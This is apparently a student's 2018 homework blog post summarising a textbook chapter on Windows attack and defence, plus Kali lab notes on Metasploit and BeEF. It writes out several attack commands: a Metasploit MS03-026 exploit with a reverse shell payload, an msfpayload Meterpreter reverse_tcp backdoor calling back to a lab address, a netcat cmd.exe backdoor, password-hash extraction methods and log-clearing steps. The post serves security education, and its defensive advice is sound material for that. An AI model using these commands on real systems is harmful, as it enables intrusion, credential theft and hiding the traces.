2017-2018第七周网络攻防作业

课本第七章主要围绕windows操作系统安全攻防技术进行讲述,教材中主要涉及的攻击内容如下:

Windows操作系统的基本结构

运行于处理器特权模式的操作系统内核
运行在处理器非特权模式的用户空间代码
采用宏内核模式来进行构架
Windows操作系统内核的基本模块包括如下

Windows执行体
Windows内核体
设备驱动程序
硬件抽象层
Windows窗口与图形界面接口内核实现代码
Windows操作系统在用户态的代码模块则包括如下

系统支持进程
环境子系统服务进程
服务进程
用户应用软件
核心子系统DLL。
Windows操作系统内核中实现了如下的核心机制

Windows进程和线程管理机制
Windows内存管理机制
Windows文件管理机制(NTFS)
Windows注册表管理机制
Windows的网络机制
Windows安全体系结构

Windows操作系统基于引用监控器模型来实现基本的对象安全模型。
Windows身份认证机制
Windows授权与访问控制机制

Windows安全审计机制 系统审计策略在本地安全策略中由系统管理员定义,来确定系统对那些事件进行记录。

Windows的其他安全机制

身份认证
授权与访问控制
安全审计
目前Windows远程攻击技术可以分为以下几大类

远程口令猜测与破解攻击
攻击Windows网络服务
攻击Windows客户端及用户
Windows系统的安全漏洞生命周期

使用Metasploit软件实施渗透测试 Metasploit软件采用开发框架和模块组建的可扩展模型,以Ruby语言编写的Metasploit Framework(MSF)库作为整个软件的基础核心,为渗透测试组建的开发与测试提供平台;模块组建是真正实施渗透攻击的代码,包括利用安全漏洞的Exploits模块,进行扫描、查点等其他辅助任务的Auxiliary模块,在目标系统上植入和运行的Shellcode攻击负载Payloads模块,对攻击负载进行编码以躲避检测的Encoders模块,以及对攻击负载进行填充的Nops模块;Metasploit提供多种用户接口,包括Console交互终端、命令行程序运行、Web交互界面以及GUI图形化界面;Metasploit还提供了API接口及插件支持,来支持第三方在MSF基础上开发扩展模块,比如自动化的渗透测试例程等等。

使Metasploit Console终端实施渗透测试,只需运行如下命令

use exploit/windows/dcerpc/ms03_026_dcom,选择针对MS03_026漏洞的渗透攻击模块。
set PAYLOAD generic/shell reverse_tcp,选择该渗透攻击模块适用的攻击负载模块。
set LHOST 192.168.200.2;set RHOST 192.168.200.124,配置该渗透攻击模块和攻击负载模块所必须配置的参数。
exploit,实施渗透攻击过程。
在远程控制会话中与目标主机进行交互,可能需要执行“sessions -I”列出当前已建立的远程控制会话,并执行“sessions –i数字”在指定的供给控制会话中与远程目标主机进行交互。
远程口令字猜测

远程口令字交换通信窃听与破解

尽量关闭不必要开放的易受远程口令猜测攻击网络服务,包括TCP 139/445端口的SMB服务、TCP135端口的WMI服务、TCP3389端口的TS终端服务以及TCP1433端口的MS SQL Server服务等。
配置主机防火墙来限制对上述端口的服务。
利用网络防火墙来限制到这些服务的访问。
应对远程口令字交换通信窃听与破解攻击最基本的途径是禁用过时而且存在本质上安全缺陷的LanMan与NTLM。
对于安全级别较高的Windows系统服务器等主机,管理员可以制定和实施强口令字策略,此外可以设置账户锁定阈值,最后还可以在系统上激活帐户登录失败事件审计功能。
Windows网络服务远程渗透攻击 Windows操作系统默认开放135(TCP)、137(UDP)、138(UDP)、139(TCP)与445(TCP)端口,对应的网络服务为MSRPC远程调用服务、NetBIOS网络基本输入/输出系统服务和SMB文件与打印共享服务。

-针对NetBIOS网络服务的著名漏洞及攻击 NetBIOS网络基本输入输出系统提供了Windows局域网联网的基本支持,包括在UDP137端口上监听的NetBIOS名字服务、UDP138端口上的NetBIOS数据报服务以及TCP139端口上的NetBIOS会话服务。

针对SMB网络服务的著名漏洞及攻击 服务消息块SMB是Windows操作系统中最为复杂,也最容易遭受远程渗透攻击的网络服务。SMB空会话是Windows网络中影响范围最广和时间最长的安全弱点之一。

针对MSRPC网络服务的著名漏洞及攻击 MSRPC网络服务是微软Windows操作系统对DCE-RPC标准远程过程调用机制的实现。远程过程调用机制是现代操作系统最基本的支撑机制之一,允许一个应用程序能够无缝地通过网络调用远程主机上网络进程中的过程,在MSRPC实现中,可以采用如下的网络传输协议:

ncacn_ip_tcp:TCP/IP传输协议,使用TCP135端口
ncadg_ip_udp:UDP/IP传输协议,使用UDP135端口
ncacn_np:SMB命名管道传输协议,使用SMB的TCP139或445端口
ncalrpc:本地网络RPC传输
ncacn_http:HTTP传输协议,基于IIS服务,缺省配置在TCP593端口。
针对Windows系统上微软网络服务的远程渗透攻击 IIS Internet服务集成了HTTP、FTP、SMTP、POP、NNTP等网络服务,并支持CGI、ASP、ISAPI等动态编程语言与接口,是微软服务器软件提供网站、电子邮件收发和文件共享服务的主要解决方案。MS SQL Server监听TCP1433与UDP1434端口,支持使用Windows用户账号进行身份认证模式。MS SQL Server自建用户身份认证模式,SQL Server数据库服务的登陆账号加密存储与master数据库的syslogins表中,并对用户进行角色管理和授权访问控制,同时提供访问日志功能,整体安全水平能够达到C2级别。

网络服务远程渗透攻击防范措施 针对Windows系统上的各种网络服务远程渗透攻击,最基本的防范措施就是尽量避免与消除这些渗透攻击所依赖的服务软件安全漏洞,具体包括如下:

从软件设计开发根源上尽可能减少安全漏洞的出现
作为系统的使用者和管理员,应尽可能快地更新与应用软件安全补丁
在安全漏洞从被意外公布和利用到补丁发布的这段“零日”漏洞时间,管理员对安全敏感的服务器应该测试和实施科永的攻击缓解配置
利用服务软件厂商及社区中提供的安全核对清单来对服务进行安全配置
通过漏洞扫描软件来标识网络中存在的以及安全漏洞并及时修补。
Windows本地特权提升 从受限用户权限尝试获得特权账户的攻击技术也被称为特权提升,业内简称为“提权”。Windows系统上进行特权提升的共计途径主要是通过DLL注入和破解本地程序安全漏洞。从技术上来说,获得了Administrator权限并不意味着获得了Windows系统的最高权限,Local System账户比Administrator账户的权限更高,比如Administrator不能在系统运行时刻读取SAM位置注册表键值,而Local System却可以。有了Administrator权限,获得Local System权限就很简单了,一种方法是利用Windows的计划任务服务,执行“atXX:XX/INTERACTIVE cmd.exe”打开一个命令Shell,该Shell的权限即为Local System;另一种方法是利用sysinternals的免费工具psexec,它甚至允许以远程方式获得和使用Local System权限。针对本地提权攻击,与网络服务的远程渗透攻击类似,最根本的防范措施就是及时给你的系统打好各种补丁。

Windows系统口令字密文提取技术 在本地获取口令字密文的主要包括如下三种途径:

从另一种操作系统启动后拷贝文件系统中的口令密文文件
利用硬盘修复工具包中的rdisk工具,执行“rdisk/s-”命令创建SAM备份文件副本
使用pwdumpX系列工具直接从SAM文件或活动目录中提取口令字密文。
LSA Aercrets通常位于HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets子键下,LSA Secrets收录如下信息

某些服务账户的明文口令字
本季系统最近10位用户的口令字密文
FTP、Web用户的明文口令字
RAS远程访问服务拨号账户的名字和口令字
用来访问域控制器的计算机账户和口令字密文。
用户敏感数据窃取 对于用户在系统中的文件,攻击者可以执行find、findstr、grep等命令行工具来实施查找,此外,攻击者也可能使用键击记录器来对用户键盘输入进行监听,并期望从中搜索用户登陆某些应用软件、网游、金融网站的口令密码。

本地敏感信息窃取防范措施 针对LSA Secrets和其他位置口令字的窃取与破解,目前这种攻击普遍需要攻击者已经具有Administrator的权限,在这种情况下,系统很难防止攻击者获取到这些信息,因此只能通过使用更安全的加密算法保护明文口令字,以及通过安全配置策略避免缓存关键服务器的铭感登陆口令信息,来尽量降低这种攻击造成的安全风险。

Windows消踪灭迹

关闭审计功能(Windows Resource Kit工具包里的auditpol程序可以让他们轻易地关闭审计功能)
清理事件日志(使用Event Viewer事件查看器来打开、读取和清除这台主机上的事件日志)
Windows远程控制与后门程序 攻击者往往会在受控的系统中自主植入第三方的远程控制与后门程序,主要分为命令行远程控制工具、图形化远程控制工具这两大类。Netcat工具是攻击者们最常用的命令行远程控制工具么可以通过“nc-L-d-e cmd.exe-p 80”命令启动后门服务,监听所配置的TCP 80端口,并绑定cmd.exe这个Shell程序,当攻击者使用Netcat作为客户端连接目标主机的80端口时,就可以通过网络直接访问到目标主机上的cmd.exe来执行任意的操作。Meterpreter的设计目标包括如下:

隐蔽性
设计功能强大
灵活可扩展。
针对后门程序的防范措施 针对远程控制后门程序,在一台计算机已经怀疑遭受攻击的Windows系统上,防御者可以采用一些后门检测软件来尝试发现攻击者隐藏的后门程序,常用的检测软件包括反病毒厂商所提供的杀毒软件,以及一些专业的后门及Rootkit检测软件。

教材作业实践

KAli视频学习
漏洞利用与检索的工具,漏洞检索是一个很重要的过程,在安全测试 的过程中,前期涉及到足够的信息—漏洞分析和web分析,就会发现一些漏洞,为了针对漏洞展开攻击,我们需要使用一个漏洞利用与检索工具。Kali系统中自带:searchploit工具,

termineter工具armitage、metasploit、sqlmap、social-engineer toolkit。

Kali漏洞利用之Metasploit基础:Metasploit在渗透测试中经常被用到,这套软件包括了很多工具,这些工具组成了一个完整的攻击框架。
首先我们用nmap扫描一下物理机所开启的服务:

接着用msfconsole命令打开MSF的命令行



步骤

一、生成Meterpreter后门 命令:msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.75.132 LPORT=2333 R | msfencode -t exe -c 5 > /root/door1.exe




生成一个后门就要打开一个监听,接收返回的连接,查看需要的参数。需要两个参数LHOST,LPORT。 将生成的文件模仿入侵的过程移动到靶机里。 set LPORT 2333 set LHOST 192.168.75.132 exploit background返回到msf里

Msfencode用来编码。Mfsconsole开启metasploit的console。
后渗透测试步骤:在跳板机上查看当前网卡、网段信息,添加路由表,开Socks代理。

BEFF是浏览器攻击框架的简称。专注于浏览器端的渗透测试工具。在测试页面被HOOK后,我们可以利用Command模块中的攻击命令完成很多任务。



HOOK持续的时间为关闭测试页面为止,在此期间,相当于被控制了,可以发送攻击命令,在Commands模块,我们可以完成很多任务: 其中,四种颜色分别表示: 该攻击模块可用,但隐蔽性强 该攻击模块可用,但隐蔽性差 该用户模块是否可用还有待验证 该攻击模块不可用 选取MISC下Raw JavaScript模块作为测试用例



代理Proxy功能 选中目标主机,点右键,在菜单中选中Use as Proxy;然后在Rider选项卡中的Forge Request编辑并发送想要发送的内容。

Beff默认是不加载Metasploit的,如果使用Metasploit丰富的攻击模块,需要做些配置。

posted @ 2018-04-22 17:00  任雄鹏  阅读(316)  评论(0编辑  收藏  举报